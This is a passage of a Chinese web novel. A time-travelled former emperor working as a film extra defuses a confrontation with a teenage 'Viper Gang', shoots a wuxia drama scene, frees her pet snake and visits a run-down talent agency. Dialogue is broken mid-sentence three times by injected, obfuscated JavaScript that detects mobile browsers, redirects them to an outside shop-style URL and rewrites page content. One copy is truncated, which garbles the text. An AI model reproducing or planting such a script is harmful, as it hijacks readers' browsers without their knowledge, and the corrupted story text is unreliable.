面前的这个女生,白T,大裤衩,拖鞋,即使在如此混乱的场面之中,也冷静地看着他们。 几个人交换了个眼神,内心同时倒吸一口凉气,只觉得骇人。 看起来,是个深藏不露的高手。 店铺顶端架着的防水布被风刮得像动画片里能上天的飞毯,想要逃离这个地方。只可惜它被铁架子拴在了原地,只能扑腾着。 地头蛇抬手,以防备的姿态,告知小弟们:“我们见招拆招,随机应变。嘶嘶。” 烛天南听完江易齐的话后,恍然大悟,接着双手合十,虔诚地劝告:“你们这样是不对的。你们要放下屠刀,才能立地成佛。” “?师父你最近看了什么奇奇怪怪的电影了?”江易齐泪流得更多了,生无可恋地说,“再不出手,我们就要凉凉了。” 地头蛇等人满脸迷惑。 地头蛇悄悄问小弟:“她这是在干什么啊?” 小弟搜肠刮肚,终于得出一个很符合常理的解释:“她这是在告诉我们,她信佛,不杀生,吃素。嘶。” 此话一出,两人看着烛天南手中吃了一半的羊肉串,陷入迷茫。 地头蛇冷哼一声,狼牙棒对准了烛天南,道:“我才不管你是吃荤的,还是吃素的。反正今天,你若是敢护着他们,强行进场,那么我们也愿意打破自己的底线,对你下手。嘶嘶嘶。” 烛天南深深地叹了口气,道:“人生不过几十载春秋,眼睛一闭一睁就过去了。拥有执念,会是人生的不幸。” 地头蛇懵了,看向小弟。 小弟站出来,与地头蛇耳语:“她的意思……应该是,她困了,现在想睡觉,这是她人生执念。” 地头蛇不屑地说:“你既然不想插手,那么就让开,不要再站在这里了。我们毒蛇帮绝对不会伤及无辜。” 小弟贴心地补充了一个语气词:“嘶嘶。” “蛇?”烛天南看向自己的手腕,上面缠绕着的小青蛇,“这条蛇吗?” 她听不懂他们在说什么,但是她确实有一条蛇。 毒蛇帮的人一看见烛天南亮出了这个“蛇形手镯”,瞳孔地震。几个人倒吸一口凉气,后退三四步,指着这个手镯,失声道:“什么?我们毒蛇帮基层从未看见的翠蛇手镯,竟然出现在了你的手上。难不成,你就是那个传说中的毒蛇帮高层,绿蛇?!” “?”烛天南一脸懵逼。 “原来师父,你还有后手啊。”江易齐抹去泪花,背手,站在了烛天南面前,朝地头蛇等人道:“既然如此,还不快速速叫老大。” 地头蛇等人将江易齐扒开,朝着烛天南低头,诚惶诚恐地说:“见过老大!” “你们好像误会了什么……它是活的。”烛天南满脸黑线,好心地解释道。 她怎么就无缘无故地成为了毒蛇帮老大了? “什么,活的?”地头蛇等人你看我我看你,眼底惶恐转为了敬佩,变成了恍然大悟。 “就是,它是我的宠物,不是什么手镯……”烛天南点头,耐心地说。 “不愧是毒蛇帮的高层,就连手镯也如此仿真……哦不,选了一条真的小绿蛇。”地头蛇赞叹不已,几个人同时撩起了自己的袖子,露出了自己的手腕。 每个人的手腕上面都用黑笔画了一道蜿蜒的线——代表小蛇。 “……既然如此,那我命令你们,赶紧离开。”烛天南见无论如何都解释不清楚后,下达命令。 再这么下去,老板手中的烧烤就要糊了——糊,是每个演员眼中,最可怕的诅咒。 烛天南本以为地头蛇等人会照做,谁知道,地头蛇等人果断拒绝:“不行。” “你的手镯是绿色的。是绿蛇分部。而我们的是黑色的,是黑蛇分部。”地头蛇笑眯眯地说。 小弟们疯狂点头,亮出自己手腕上的黑线,在她眼前抖动着。 烛天南陷入沉思。 “既然命运让我们在此刻是敌对的状态,我也无力反抗这个世界……那么,我只能选择顺从了。”地头蛇沉重地站起来,举了个躬,然后正气凛然地说,“我们只知道,忠心和真诚,是最大的必杀技,嘶嘶。” 所以,弯弯绕绕,到了最后,还是要开打。 烛天南白费了口舌,心累的同时,只能向前走几步,道:“想比划是吧?那来吧。” 而这个位置,她能看见,远处来了一群气势汹汹的人。 地头蛇做了个蛇拳,嘴里叨叨着:“你就乖乖地束手就擒吧,嘶嘶” 烛天南没理会地头蛇。 她眼尖地瞧见那群来人,有几个是她眼熟的——每天早上锻炼的积极分子。 烛天南便指着地头蛇等人的身后,好心提醒道:“你们后面,好像有人来了。” 积极分子们朝烛天南挥了挥手,然后面色阴沉地朝着地头蛇等人来。 地头蛇不屑一顾,道:“这难道就是你想拖延时间的小手段吗?呵呵,我是绝对不会中套的,嘶嘶。” 他的小弟们回头后,满脸惊恐,扯着地头蛇的衣服,叫他不要乱说。 地头蛇这才不情不愿地回头,看清来人之后,瞬间惊恐。 地头蛇一脸被背刺的表情,猛然望向烛天南,眼里写满了斥责和痛苦,声音里遍体鳞伤,如同遭到深深地打击,沉痛地道:“可恶,没想到你居然如此卑鄙无耻,心肠如此歹毒……竟然搬救兵!对我们进行传说中的降维打击!” 来者面色阴沉,逆着光,穿着背心,大裤衩,人字拖,拿着衣架、拖鞋、七匹狼。 地头蛇等人后退了几步,撒腿就想跑,谁知被剩下在场的人围住了。 他们只能面如死灰地看着那群人向他们逼近——如同死亡的号角已经吹响。 一位波波头阿姨揪着地头蛇的耳朵,旁边像是地头蛇父亲的人,有一搭没一搭地甩着皮带。 地头蛇方才的痞气消失殆尽,只留下了讨好的陪笑,“啊……哈哈,妈,爸,好巧啊。” 下一刻,棍棒劈里啪啦地落在了他们身上,溅起了如水花般大大小小的尖叫痛嚎。 “啊!嗷呜!” 他们上蹿下跳,但躲不过层层围堵的人。 “臭小子,皮痒了是吧?还毒蛇帮,地头蛇,嘶嘶嘶。我还老鹰帮,专门吃你们这些小蛇崽子的。” “嘶嘶嘶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223652|150320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们是无法阻止我的……嗷呜,疼。” “行啊,是吧,喜欢欺负别人?都是之前听信了什么专家,说是要对孩子温柔相待,现在我就告诉你,棍棒有的时候还是有点用处的。” “呜呜呜……你也只温柔了半个星期……啊呜呜,我要回家。” 狼哭鬼嚎此起彼伏。 协会成员跑过来,跟烛天南和老板道歉:“不好意思啊,他们那几个到了中二的叛逆期,打一顿就老实了……还好我有他们爸妈的微信,能够及时将他们叫过来。” 老板显然是见过大世面的人,挥挥手,表示不在意。那群地头蛇的家长这时候也收拾好了自家的孩子,拉着他们向老板等人道歉,外加赔钱。 这时候,一直在旁边不说话的路人女生突然动了。她冲上前,握住烛天南的手,激动地说:“我知道你,你是不是经常在隔壁小公园里锻炼?” “是,怎么了?”烛天南问。 “我关注你太久了,你的气质很好,武术基础也有,有没有兴趣,当个演员?”路人女生连忙从自己的包里掏出名片,递给烛天南,道,“这是我的名片,上面还有我的联系方式。” 名片很简约,白底黑字,俞敏。 路人女主乐呵呵地打了个电话,说:“你不用给我推荐那个叫什么烛天南的人了。我已经找到人选了,气质、外形都满分优秀……名字?我问问。” 她移开电话,望向烛天南,问道:“你叫什么?” “烛天南。”烛天南老实回答。 “啊,她叫烛天南……嗯?”俞敏意识到不对,看了烛天南一眼,烛天南露出良善的微笑。 下一秒,俞敏快速回答:“你刚刚什么都没听见我刚刚什么都没说你全部忘记吧再见。” 一气呵成地挂断电话,俞敏跟烛天南简单地商量了一下戏份。 是一部古代背景,有点偏武侠风格的网剧。整个故事是正派男主和魔教女主的爱恨情仇、恩恩怨怨——当然,跟烛天南演的角色没关系。 烛天南只不过是其中,要去捣乱女主和男主爱情故事的大师姐罢了。 “终于找到了符合大师姐的人选了……只是,少了群演。”俞敏有点纠结,“又要人多,又得有武术基础。太难找了。” “要不……你可以用我们s市传统武术交流协会的人?”江易齐不知道什么时候凑到了她们之间,笑嘻嘻地说,“正好,我们人多,也稍微会一点武术。” 说完,他当着俞敏的面,耍了几招,看起来像模像样。 s市武术交流协会的人们听到能演戏,有些兴奋,也点头如捣蒜,道:“就是就是,可以给我们一次机会。顺便还能宣传一下华夏传统武术。” “可以!”俞敏想了一会儿,直接同意了。 几个人又商量了一下具体的行程安排,最终欢乐散场。 刚刚杂乱的地方,全都被地头蛇等人老老实实地整理好了,甚至连桌子上的串串签都收拾得干干净净,一尘不染。 烛天南看了下时间——也不早了,她也该回去了。 今天的收获也挺多的。 烧烤吃到了,也意外得到了一个试戏的机会。 凉风习习,烛天南心情大好,突然感觉自己的手背痒痒的。 她低头,手腕上的小青蛇慵懒地趴着,它的尾尖时不时蹭着她的手背。 烛天南心血来潮,揉了揉小青蛇的头。 一开始,也许是吃饱喝足了,它随便烛天南摸头。到了后来,它像是被摸烦了,躲过她的手,直起身子,然后以迅雷不及掩耳之势,“嗖”地咬到了烛天南的手腕。 但也许是知道烛天南是它的长期饭票,它下口不重。过了几秒后,它才松口,蹭蹭那个牙印,似乎是知道自己伤害了她,看起来有点愧疚。 烛天南莫名想笑,离开的脚步更加轻快。 13. 第 13 章 片场,场景老师正在布景。 s市传统武术交流协会的人都已经到了。听到是来拍戏的,大家都很激动,老老少少来了很多,大家自带的白色练功袍非常适合这部剧,乍一眼看过去,确实有几分高深莫测的资深门派。 当然,来得太多了,一部分是烛天南的“门派”,另一部分就跑去充当反派喽喽。 烛天南正在场上比划着,跟着武术指导的老师练习动作。 武术指导老师是武术世家,也教过一些学生,现在生怕烛天南学不会,将动作放慢,一个动作一个动作地给烛天南解释,就差没有把动作的整体由来告诉她。 然而出乎武术指导老师的预料,烛天南的悟性很高,每个动作出拳带风,非常有力,观赏性非常高。 甚至,基本上武术指导老师做一遍动作,烛天南便可以跟着复刻一遍。 “不错,不愧是s市传统武术交流协会的人。动作完成度能达到这么高。”武术指导老师的眼睛发着光,恍若看见了知己一般激动,“好久都没有看到这么认真的演员了。” “毕竟,我从某种程度上说,也是他们的师祖。”烛天南笑着。刚刚那几套动作,烛天南全部都做了一遍,饶是她这段时间天天锻炼,也无法在短时间内迅速提升她的体能。 额间的碎发黏在了烛天南光滑的额头上,衬托得她眼里的光愈发坚毅。 烛天南也收获到了很多——她的那些招式,经过了四千多年的发酵和完善,化繁为简,取其精华去其糟粕了太多。 即使她只学了一点点,也让她受益无穷。 “那我再来试试……这个动作如何?”武术指导老师心血来潮,拿剑做了几个剑招。 烛天南看了一遍完整的后,也近乎一比一地复刻出来。 她收回手,笑道:“这也太轻松了吧。” 等到俞敏看向他们两个人的时候,两人已经比起了谁翻的跟头又完美又快速,在规定的时间里谁翻得更多了。 俞敏:……? 她怎么不记得接下来的剧情里有翻跟头的片段。 俞敏清清嗓子,提醒两人,道:“你们练好了吗?” 武术指导老师一滞,烛天南也停下了动作。 两人讪笑道:“啊……哈哈,已经好了。” “翻了这么多的跟头,你们就不怕晕了吗?”俞敏吐槽道。 “怎么会?!”武术指导老师义愤填膺地说,“我可是专业的,怎么可能会这么轻而易举地摔倒?” 话音说完,像是怕俞敏不相信,武术指导老师迈了一步。 下一刻,便“啪叽”一声摔倒在地上。 “我赢了。”烛天南哈哈一笑,大大方方地绕着武术指导老师走了几圈。 她刚刚翻的跟头比武术指导老师多,但是她没晕倒。 旁边的人都发出善意的笑声,武术指导老师也不尴尬,爬起来,向烛天南伸向挽留的手,问道:“烛天南小同学啊,我看你是块练武术的奇才,有没有兴趣拜入我的门下,到时候带你参加华夏武术大会?说不定,咱们还能一起拿到奖……” “收手吧,武指老师,她还要去演戏呢,你不是也有很多的弟子吗?”俞敏打趣道。 “可是,像她这样的人太少了。”武术指导老师还是想努力争取一下,认真地说,“纵观历史,也很难找到看一遍就会的天才啊。” “可惜,我喜欢演戏。”烛天南无奈地摊手。 烛天南真没说谎。一方面,她需要通过演戏来吸收真爱粉,另一方面,这段时间,她演戏的时候,确实挺开心的,即使她演的大多都是跑龙套。 俞敏得意洋洋地将烛天南拉到一旁,给她讲戏。 烛天南的戏份不算多,地点变换的也不多。速度快的话,一天就能全部拍完。 这场戏份,烛天南是邻派的大师姐,与正派的男主指腹为婚。此时男主正与身为魔教小公主的女主暧昧不清,因此,烛天南特地出来,挑衅魔教小公主。 魔教小公主的护卫以为魔教小公主要被欺负了,果断地站出来保护魔教小公主。因为男主跟这些护卫们接触过,所以知道他们本性不坏,便站出来维护他们。 但这恰恰坐实了男主勾结魔教的证明。 这场战争就此展开。 自然,结局是,男主女主幸福快乐在一起,并为当初这场战争平反,证明大师姐是出于私心而私自挑起战争。大师姐被赶下了门派,不知所踪。 “好神奇的走向。”烛天南很意外这个结局。 “很正常的套路了,而且拍的过程其实也很简单,强烈的情绪拉扯是大众的主流。”俞敏笑着说,“只不过,现在很难找到符合大师姐的人物的演员——至少,剑招得耍得漂亮,还得不害怕威亚。” “放心,那些动作,我不需要威亚,也能够舞出来。”烛天南勾唇,抄起旁边的剑,耍了几招。 经过刚刚的热身,她已经完完全全地热身完毕了。 她现在,强得可怕! 俞敏也被烛天南的剑招惊艳到了,又想到烛天南平日在小公园里练习的样子,便不由自主地点点头,心里对她信服了大部分。然而,在嘴上却说道:“这么自信?” “哼,可别小瞧我。”烛天南骄傲地抬头,转身,迈开一步。 下一秒,左脚绊倒右脚,不小心摔了一跤。 俞敏、烛天南:…… “这其实是我故意的。我只是想近距离地观察,这个地表面粗不粗糙。”烛天南若无其事地站起来,拍掉衣服上的砂土。 “我倒要看看,你的嘴到底又多硬。”俞敏跑过去将她扶起来,不忍道,“给你这一次机会,如果一遍过不了的话,还是得用威亚。” 待一切准备好后,就开拍。 烛天南的文戏过得很快,几乎没有重新再来一次的机会。 而到了武戏。 猎猎风起,飞沙走石,大师姐站在城头,衣角翻飞,眼里划过一道冷意。她喝声道:“如今,你勾结魔教,罔顾同伴。那么今天,我就替天行道,斩妖除魔。” “住口,事情不是你们想的那样。”男主站在那里,着急地摆手,语言分外苍白。 “杀!” 话音刚落,大师姐跃下墙头,在众人惊愕的目光下,她宛若一道灵活的银白游光,以一己之力,杀退了众多魔教弟子。 魔教弟子怔怔地低头,发现自己的胸膛早就有了一道极其细微的血线,此时鲜血止不住地向外溢出。 众所周知,正派大师姐的刀子里,向来是藏有剧毒的。 魔教弟子最终口吐鲜血,倒在了地上。 所有人都反应过来,正魔两派的打斗,今天是绝对无法制止的了。 “上!”所有人都杀红了眼、 “不——不要在打了。”男主尝试劝架,微弱的呼救声淹没在了打打杀杀的声音之中。 他尝试分开两个打斗的人,谁知,被正派的弟子怒斥道:“你这个叛徒!滚!” 他怔怔地后退几步,然而下一刻,就有新的刀光剑影向他来袭。 他不得不举起刀,与他曾经的同伴对战——还有一个人,一切的罪魁祸首。 大师姐。 大师姐脸上没有一丝波澜,仿佛杀人对她而言,不过是家常便饭。她提剑,魔教弟子的鲜血便顺着剑,往下滴淌,在地面上溅起妖艳的血花。 更令人感到不可思议的,是她从头到尾,白衣仍然一尘不染,好似她是突兀降落到这个战场中,无意间捡到了这把剑而已。 “你的武功,居然已经到了这个地步。”男主不可思议地看着大师姐。 大师姐提剑指着男主,无情地说:“叛徒,当斩。” “每个人都有自由选择的权利,我只是选择了自己喜欢的人,我做错了什么?” “包容魔教,便是最大的错误。” 话音未落,她已经迅速逼近了男主。男主痛苦地提刀,跟她对峙。 小公主不知道从哪里冒出来,抛下了一个烟雾弹,然后将男主带走。 就此,全剧唯一的一场武打戏结束了。 “咔。”俞敏一脸轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228982|150320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松。后勤老师正在分发盒饭,见到烛天南来了,偷偷塞给了她一瓶冰红茶。在烛天南惊讶地目光下,后勤老师向她眨了下眼睛,食指放在嘴前,比了个噤声的手势。 烛天南心领神会,笑呵呵地接过了盒饭和冰红茶,随便找了个台阶坐下。 她熟练地拆开了盒饭后,一个人也坐在了她的旁边。 是江易齐。 他扮演的是一个魔教的小喽喽,刚刚被烛天南一击毙中。 “师父,你演戏……演了多久呀?”江易齐扒着饭,口齿不清地问。 “大概快一个月了吧。”烛天南心里换算了一下,将饭盒里的青椒挑到一旁。 “好厉害啊。”江易齐喃喃道,他低头,略带沮丧地说,“我也差不多这个时间,只可惜,我至今都没办法接到你这样的角色。” “你也想当大师姐?” “不是,是指向你这种戏份多的角色。” “这些只是一个台词屈指可数的小角色罢了。在几百集的短剧里,我的出场充量只有一两分钟。”烛天南说,“再说了,我其实也只是运气好,得到了这一两个相对戏份较多的角色罢了。” 江易齐坐正,道:“真的吗?” “真的。”烛天南回想了下自己的经历,道,“更多时候,我还是跑龙套,每天拿八十一百的工资。就好比,我的外形虽然还可以,但绝不能喧宾夺主。我的身手也还行,但也只能当个武替。” 虽然演跑龙套的时候,累了点,早上五点起床集合,七点开拍,一直到晚上十一二点收工才是常态。有的时候要站桩十几个小时,就是为了拍几秒钟的镜头,有的时候,好不容易抢中的角色又被暗箱操作拿走了…… 但是,跟上辈子比起来,这里不仅安全,还有吃的。 她也认识了许多善良的人。 “演员这个角色太吃天赋了。”江易齐坐正身体,叹了口气,道,“我已经察觉到了我的上限了。” “没事,每个人都会进步的嘛。”烛天南安慰道。 “不一样!”江易齐认真地说,“我本以为,凭借一己之力,当一个影帝轻轻松松。于是我从跑龙套开始做起……可是现在,我突然发现,这个职业跟我心中所想的相差甚远。它并不能让我感到快乐。” “那……你去做一些你感兴趣的东西嘛。”烛天南随口一说,“你之前为什么要来演跑龙套?” “从底层做起,这不是理所当然的嘛。我认识的人就是这样的。只不过,没想到跑龙套也不是很好玩。”江易齐看着自己手上的伤口——刚刚他不小心摔倒地上的时候,擦破皮的。 “没关系,你现在还年轻,还有很多试错的机会。”烛天南道,“想做什么就去做吧,只要自己不后悔,做的事情不害人害己。” “你说得对!”江易齐的眼睛越来越亮,然而他像是想起什么一般,眼里的光熄灭了,像枯萎的花,低落道,“我以前喜欢唱歌,但是总被嘲讽。” “那就去唱吧。学无止境,总能成功的。” “可是,现在乐坛里,已经有了一位难以撼动的重量级角色了。” “那就曲线救国呗。又没人硬说,只有中规中矩地唱歌才能得到大家的喜爱。”烛天南想了想,补充了一句,“当然,前提是人品过关。” “曲线救国……曲线救国……懂了,我知道我要干什么了!”江易齐嘴里叨叨着这几个台词,终于眼睛发光,兴奋地抓住烛天南的手,道,“太感谢你了,师父!” “……嗯?”烛天南迷茫。 她又作什么了。 江易齐恍然大悟,在烛天南面前郑重其事地鞠躬,道:“师父,谢谢你。要不是你今天启发了我……我可能还要独自内耗许久。这生遇见你,是我最大的幸运!再见了,师父!” 烛天南:? “不是,你等会儿?喂?” 然而江易齐早就撒开脚丫子,飞速地跑走了。他的身影轻快地像一只在原野里奔跑的小鹿,自由自在。 烛天南的面前,只留下一片慢悠悠落到地上的枯叶。 14. 第 14 章 接下来的日子,烛天南的生活按部就班,没再见到江易齐了。 天下没有不散的宴席。 她并没有将这件事情放在心上,而是看向了她房间,桌子上的两个盒子。 如今,一个是空着的,另一个也是空的。 小仓鼠长大了许多,只是在它成长的过程中,烛天南敏锐地发现,它新长出来的毛发颜色逐渐变深,而尾巴逐渐又细又长,耳朵轮廓变得如同用圆规画出来般完美无暇。 它越来越不像商家宣传的那种白嫩软绵的小仓鼠,而越来越像一只老谋深算老奸巨猾的大老鼠。 直到她的房间里,闹了鼠患,东西都被咬得七零八碎,烛天南终于悲催地意识到了、不得不接受了这个可怕的事情—— 她重金购买的小仓鼠,实际上是老鼠的幼崽。 她也不知道,这只老鼠是如何只凭一己之力,繁殖出许多的老鼠崽子。但只能推测,是从窗外爬上来的。 好在烛天南又因为担心贼人闯进来,所以将房间的门关得严严实实的,老鼠一时半会儿还无法祸害其它房间。 小圆得知后,请人进烛天南房间,经过了一次彻彻底底消杀。 那只灌注了烛天南很多心血的老鼠,及其携带的家属们,就含笑九泉,嘴里吐着如白胡子一样的白沫,顺利进入了垃圾桶,回归自然。 此后房间再也没有老鼠了。小圆还打趣烛天南:“你怎么现在,能忍心地看着你养的‘小仓鼠’死掉,还亲自为它们收尸?” 烛天南叹了口气,装作怅惘,道:“没办法,一是朕养它养得好好的,它却得寸进尺,拖家带口,咬坏了我的东西。其二嘛……” 小圆已经免疫了烛天南时不时喜欢当皇帝的角色扮演。此时她好奇地追问道:“其二是什么?” “没有其二,我是编的,你真信了?” 小圆一阵无语,向烛天南使出了正义的铁拳。烛天南哈哈一笑,也不闪躲,只手擒住小圆的拳头。她比小圆高10cm,因此她贴心地将手放低,凤眸里充满了打趣,道:“你又不是不了解我。” 她,一直都是光明磊落,大义凛然,刚正不阿的人。 小圆放下拳头,努力思考了片刻后,老实地道出了自己的疑惑:“话是如此,但我总感觉,有时候你离我很远,我看不清你。” “也许是因为,朕的光芒太耀眼了。你看不清朕是很正常的。”烛天南勾起嘴角,撩了下头发,洋洋得意地说。 “啊,陛下,好耀眼的光!”小圆配合地捂住眼睛,过了几秒后移开,道,“你知道,我其实不是这个意思。” 烛天南失声一笑,凤眸之中闪着细碎的光芒,道:“现在又没有起雾,我们挨得那么近,你怎么可能会看不清我?” “好吧,可能是我多想了。”小圆放弃思考,一笑而过。 至于小青蛇,它的伤口已经恢复得七七八八了。烛天南也知道,是时候该给它放生了。 于是在某个夜晚,她在小圆的陪同下,将小青蛇放在了一人一蛇初遇的地方。 路灯已经昏暗了很多,能照亮的空间变小了,像是不忍心打断一人一蛇的分别。 小青蛇仍然攀爬在她的手臂上,无论烛天南怎么扒拉,它都不愿意下去。 直到烛天南摸着它的头,笑道:“你属于自然,是山间的精灵,自然应该回到自然里去,而不是被我们人类圈养,成为满足我们私欲的玩具。” 她再次将小青蛇放回地上。而这次,小青蛇像是听懂了她的话,呆在地上,抬头看着烛天南。 烛天南娓娓道来,认真道:“希望下次,我们有缘再次相见的时候,你不会再伤痕累累了。” 她用树枝,推了推小青蛇。小青蛇被戳了几下后,慢慢爬向灌木。 在即将消失在草木之前,它回过头,似乎是想穿过厚重的灰黄色灯光,将烛天南烙印在它的脑海之中。 烛天南轻声道:“走吧,你自由了。” 小青蛇吐了下芯子,眼睛眨了一下,随后扎进了灌木之中,彻底消失得无影无踪。 烛天南站起来,转身。小圆就站在灯光恰好无法照到的地方,神情晦暗难辨,道:“没想到,你真会放了它。” “啊……因为我穷,没钱。”烛天南直接道出了原因,抬脚离开。 “它一条蛇,也可以过得好好的。”小圆追上她,出声安慰。 烛天南也知道小圆是在安慰她,便笑着说自己没事。 她心中仍有些许怅惘,但是面上不显,小圆也看不出她的想法。 直到回到了出租房后,小圆看见烛天南直接缩在客厅的沙发上,像是罕见地陷入了低迷的情绪之中。她这才了然,原来烛天南一直故作坚强。可任凭小圆如何劝导,也无法驱散一直漂浮在烛天南头顶上的乌云。 烛天南在心里叹了口气。 她本来以为自己还能有说话的对象——那条不会说话的小青蛇。 谁知兜兜转转,她又成了孤家寡人。 还是她亲自放掉的。 【滴~真爱粉数量+400】 许久不上线的735突然冒出了一句。 “诶,你终于来了呀。”烛天南这才想起还有735这号,“还有,这么长的时间,我的真爱粉数量才增加了400?” 【陛下,因为短剧的受众其实非常固定,再加你的出场片段实在是太少了,因此还能有这么多的真爱粉数量,已经很厉害了。】 烛天南头上的乌云更加密集了。 【陛下,你演大师姐的那个剧已经播了很多啦!三百集的剧里,你居然能够出场三分钟!而且你在其中舞剑的身姿,被全网模仿!您太厉害啦!】 “全网是多少人?” 【3人。】 烛天南更不想说话了。 735冥思苦想,终于想到了一个很适合安慰烛天南的话了。 【陛下,微臣实在是没有撒谎啊。您看看当初跟您争夺角色成功的那个小人方格,他剧的播放量,甚至还是靠那几张被你拿树枝架在脖子上的照片,虚假营销而增加的,投资进去的钱全部赔了。亏成这样,有点想法的剧组都不会再找他了。可是陛下您不一样啊,您只是稍稍出手,便能在网上掀起风浪,您才是真正的赢家,真正的圣主啊。】 “这样还是不行。”烛天南喃喃自语,一不小心,就被在旁边的小圆听见了。 “怎么了?” “我现在的进步太慢了,钱也没攒够多少,作品也不太多。”烛天南望向小圆,深深地叹息,惆怅地揉了揉太阳穴,说,“我到底该怎么办啊。” “哎呀,原来只是这个方面的事情,我还以为是那条小蛇呢。”小圆松了口气,说,“一般情况下,像你这种‘自由职业’版本的跑龙套,是接不了太大的剧本的,更不必说,出演重量级的角色。” 烛天南头顶上的乌云开始下雨了。 小圆继续补刀道:“你想想,一个什么都没有的新人,和一个有一定粉丝基础的明星,你会优先选哪一个?更不必说,明星自带流量。就算演技不行,也不会扑得太彻底。” 烛天南更加忧郁了,头顶上的乌云电闪雷鸣。 “不过你可以去大公司面试。” 烛天南的眼睛亮了,头顶的乌云散开。 “但是,大公司不一定会让你进来。” 烛天南眼里的灵魂之火熄灭了。 “但……如果你不介意的话,你可以加入我所在的公司。”小圆迟疑了一会儿后,说,“如果你不介意的话。” “什么公司?”烛天南瞬间打起了精神。 -- 烛天南站在小公司的门铺前,陷入沉思。 她艰难地转过头,指着这家小公司,艰难地问道:“这……也算是个公司?” 选址偏僻,非常具有隐蔽性,与周围的高楼大厦格格不入。整体看上去,就像是上个世纪的某个老旧的居民楼,甚至比不上烛天南她住着的房子。 就连招牌:无定娱乐有限公司几个大字,被茂盛的绿植遮盖住了。 只有顶部的黑白logo看起来有那么一点点的信服度。 小圆认真地点点头,道:“是的。虽然顶上的logo是褪色了的,但我们是专业的……吧。” 烛天南沉默片刻后,转身就走,像是下定了某个决心。 小圆连忙拉着烛天南的手,道:“那个……其实,你要进公司再看看,考虑考虑呢?” 烛天南一脸悲痛地看向小圆,深深地摇头。她将手盖在小圆伸出来的手上,满脸失望。 她终于知道小圆为什么对她那么好了。 烛天南经过这段时间高强度的反诈科普,以及买仓鼠被坑的几百大洋,她已经充分地认识到了现在的套路有多么深。 再结合眼前这栋破烂的,老式的居民楼,所有的线索在烛天南的脑海中串成了一条线,指向了最终的答案—— “我那么信任你,你却图我的肾!” 小圆一噎,伸手挽留,努力为自己辩解道:“姐,不是你想的那样的。” “别说了。”烛天南抬手打断了小圆继续想说的话,然后盖在脸上,食指摸鼻梁骨,眼神透露着深深的悲伤,道,“我那么信任你,你却……” “你在脑补些什么呀。”小圆无语,随后正了衣冠,认真地说,“我们公司虽然偏僻贫穷,业务较少,而且员工稀少……” 小圆的声音越来越弱,她也意识到了自己说的话不太好,尬笑了几声后,在烛天南愈发怀疑地目光下,补充道:“但是,员工之间相处得很愉快,很像一个大家庭……而且,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我们公司的工作效率极高。”小老板勾起一边嘴角,伸手将手指插入发根之间,朝着两人邪魅一笑,说,“怎么样,满意吧?” “小老板,我们今天的菜不用放油了。”小圆吐槽道,“因为,油都在你这里。” 小老板放下手,一脸乖巧,整理了衣冠后,一本正经地介绍着公司,言语中让人不自觉地想要信服。 烛天南翻阅着那份合同。合同上的字跟她以前认得的字体不太相同,少了写偏旁和笔画,但是变化并不大,她还是能读懂这些字的。 她粗略地看了一眼,意外地发现这份合同竟然出奇地平等,心里对这个小老板的看法不太一样了。 “虽然我们公司的人少,但是一些基础的福利保障还是不错的。”小老板强调道,“既然你没问题的话,那么你就填一下表格吧。” 小老板指着合同上的信息栏,递给烛天南一支笔。 烛天南一贯习惯了用毛笔书写。现在拿着黑色签字笔,再加上自己许久没有拿笔了,一时半会儿有点生疏,但她还是将名字完美地写出来。 字迹行云流水、笔走龙蛇,锋芒尽出,只一眼便能看出写者潇洒飘逸,有深深的书法功底和文学底蕴。小老板和小圆也被这字迹惊艳地“哇”了一声。 “好厉害!”小圆双眼冒星星,崇拜地说,“姐,怎么做到的?” 烛天南放下签字笔,嘴角一勾,故作谦虚地道,“我也没多努力了,只能说是天赋吧。” 小老板欣赏了一下后,意犹未尽地放下了这份合同,拿出崭新的合同,递给烛天南。 烛天南再接过来,随便瞅了一眼后,一愣,道:“这份跟刚才那个不是一模一样吗?” “是的,但刚才那份无效了。”小老板贴心地说,“这次,填一下你的姓名……别用繁体,用简体。” 烛天南露出尴尬而不失礼貌的微笑,拿起笔,写了简体。 一不小心,忘记自己穿越了。 “填一下你的电话号码,还有银行卡账户。”小老板拿起信息表,递给了烛天南。 “我没有电话号码,也没有银行卡。但我有小Q。”烛天南镇定自若地回答,有种运筹帷幄,一切尽在掌握之中的沉着之气。 前提是忽略掉她说出口的,近乎荒谬且玩世不恭的话。 全场瞬间寂静。 小老板难以置信地看向小圆,小圆难以置信地看向烛天南,烛天南面带微笑,理直气壮地看向小老板。 三人组成了完美的三角对视。 “啊?那……你的身份证呢?” 一旦前面承认自己没有电话号码,后面的话也能顺理成章地说出口了。烛天南面不改色,微笑道:“我也没有身份证。” “……额,我想想,你的意思大概是,身份证丢了,找不到了是吧。那,你的户口本带上,等会儿带你补办一下身份证。” “户口本啊……我也没有。”烛天南补充了一句,“不过我……应该已经成年了。” 听到这话,两人同时震惊地看向烛天南。 烛天南面上保持着微笑,心里却“咯噔”一下。 等等,目前这种状况,看起来——她才是那个不正规的人呀。 15. 第 15 章 小老板刚想说什么话,就被小圆打断了。 